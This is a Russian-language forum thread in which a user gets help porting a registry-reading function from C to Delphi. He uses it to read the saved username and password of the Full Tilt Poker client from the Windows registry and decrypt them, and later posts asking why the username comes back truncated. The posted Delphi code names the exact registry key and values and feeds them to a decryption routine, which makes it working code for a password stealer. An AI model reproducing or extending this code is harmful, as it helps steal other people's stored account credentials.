Сишники перепишите функцию на дельфу
| |
d4rkzy | Дата: Четверг, 21.05.2015, 18:13 | Сообщение # 1 |
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
| Код int regkeyr(HKEY hKey, LPCTSTR lpSubKey, LPTSTR lpValueName, char *buff, DWORD len) { HKEY key;
buff[0] = 0; if(RegOpenKeyEx(hKey, lpSubKey, 0, KEY_READ, &key) != ERROR_SUCCESS) { return(-1); } if(RegQueryValueEx(key, lpValueName, NULL, REG_NONE, buff, &len) != ERROR_SUCCESS) { RegCloseKey(key); return(-1); } RegCloseKey(key); buff[len] = 0; return(len); }
Перепишите эту функцию на дельфи пожалуйста, используется сплошное апи, думаю труда не составит.
|
|
| |
Волк-1024 | Дата: Четверг, 21.05.2015, 21:24 | Сообщение # 2 |
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
| Что-то с RegQueryValueEx у меня не получилось, посему наколякал по-своему, с другими апи:
Код function SHGetValue(hKey:HKEY; pszSubKey: PChar; pszValue: PChar; pdwType: LPDWORD; pvData: Pointer; pcbData: LPDWORD): DWORD; stdcall; external 'SHLWAPI.DLL' name 'SHGetValueA';
function RegGetValue(hKey: HKEY; lpSubKey, lpValueName: PAnsiChar; pdwKeyType: PDWORD; pData: PPointer): DWORD; var pBuffer: Pointer; BufferSize: DWORD; begin Result:=0; BufferSize:=0; if (SHGetValue(hKey, lpSubKey, lpValueName, @pdwKeyType, nil, @BufferSize) = ERROR_SUCCESS) and (BufferSize > 0) then begin pBuffer:=Pointer(LocalAlloc(LPTR, BufferSize)); if Assigned(pBuffer) then begin if SHGetValue(hKey, lpSubKey, lpValueName, @pdwKeyType, pBuffer, @BufferSize) = ERROR_SUCCESS then begin pData^:=pBuffer; Result:=BufferSize; end else LocalFree(HLOCAL(pBuffer)); end; end; end;
Вроде работает. В pdwKeyTypeВ будет тип ключа, т.е REG_SZ и т.п, а в pData будут данные. Функция вернёт длину данных.
Pascal, C\C++, Assembler, Python
|
|
| |
d4rkzy | Дата: Пятница, 22.05.2015, 01:13 | Сообщение # 3 |
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
| Больше спасибо. Наконец-то реализовал декрипт full tilt poker ))) Код не понадобился (у меня был свой код, только я не догнал что не так, а ошибках в типах была)
Моя реализация (Писалось на ХЕ) Код function _ReadRegToString(key:HKEY; subkey,line:string; var buffer:ansistring): string; var xBuffer_size: longword; xBuffer: array[0..255] of ansichar; begin if RegOpenKeyEx(key,pchar(subkey),0,$0001,key) = 1 then exit else xBuffer_size:=254; RegQueryValueEx(key,pchar(line),0, nil,@xBuffer,@xBuffer_size); RegCloseKey(Key); buffer := xBuffer; result := xBuffer; end;
Пример вызова: Код _ReadRegToString(HKEY_CURRENT_USER,'Software\Full Tilt Poker\UserInfo','Password', buffer);
Волк, дай скайп - тут или в лс, сам выбирай)
|
|
| |
d4rkzy | Дата: Пятница, 22.05.2015, 01:24 | Сообщение # 4 |
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
| Мемо Код ® ========== I¬‰y X7–Oeзњg»mЂdM†ф‹ђТ њЇБи&vљbњ?nE…§ *ШпІ
Код:
Код var User,Pass:ansistring; begin _ReadRegToString(HKEY_CURRENT_USER,'Software\Full Tilt Poker\UserInfo','Username', User); _ReadRegToString(HKEY_CURRENT_USER,'Software\Full Tilt Poker\UserInfo','Password', Pass); form1.memo1.Lines.Add(user); form1.memo1.Lines.Add('=========='); form1.memo1.Lines.Add(pass); form1.memo1.Lines.Add('Username: '+DecryptPass(User)); form1.memo1.Lines.Add('Password: '+DecryptPass(Pass));
Какого хрена username читается не полностью?! Первый символ корректный, а дальше символы где??
Причем pass удачно декрипится, а user нет - тк строка не полная. где ошибка?
Сообщение отредактировал d4rkzy - Пятница, 22.05.2015, 01:25 |
|
| |
Волк-1024 | Дата: Пятница, 22.05.2015, 16:56 | Сообщение # 5 |
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
| Цитата d4rkzy ( ) Пример вызова: В моём случае выглядит так: Код RegGetValue(HKEY_CURRENT_USER, 'Software\Full Tilt Poker\UserInfo', 'Password', nil, @Buffer); Цитата d4rkzy ( ) где ошибка? Трудно сказать, видимо из реестра коряво читается.
Pascal, C\C++, Assembler, Python
|
|
| |
d4rkzy | Дата: Суббота, 23.05.2015, 12:43 | Сообщение # 6 |
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
| Волк-1024, В реестре после ® идет символ "00". Чувак с этого форума сказал что 00 это абы конец строки,по этому не читается.
|
|
| |
|